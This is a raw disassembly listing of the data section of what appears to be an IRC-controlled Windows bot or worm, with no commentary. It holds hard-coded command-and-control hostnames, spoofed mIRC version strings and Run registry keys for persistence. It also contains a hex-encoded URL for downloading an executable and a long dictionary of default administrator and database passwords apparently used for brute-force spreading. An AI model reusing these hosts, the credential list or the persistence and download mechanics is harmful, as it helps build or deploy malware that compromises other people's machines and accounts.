		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(33091427h), 5 dup(7DD0DD93h), 75h dup(0)
		dd 7DD0DD93h, 15h dup(0)
		dd 33091427h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aSaadfgh	db 'saadfgh',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 73767265h, 6578652Eh, 0
		dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn	db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
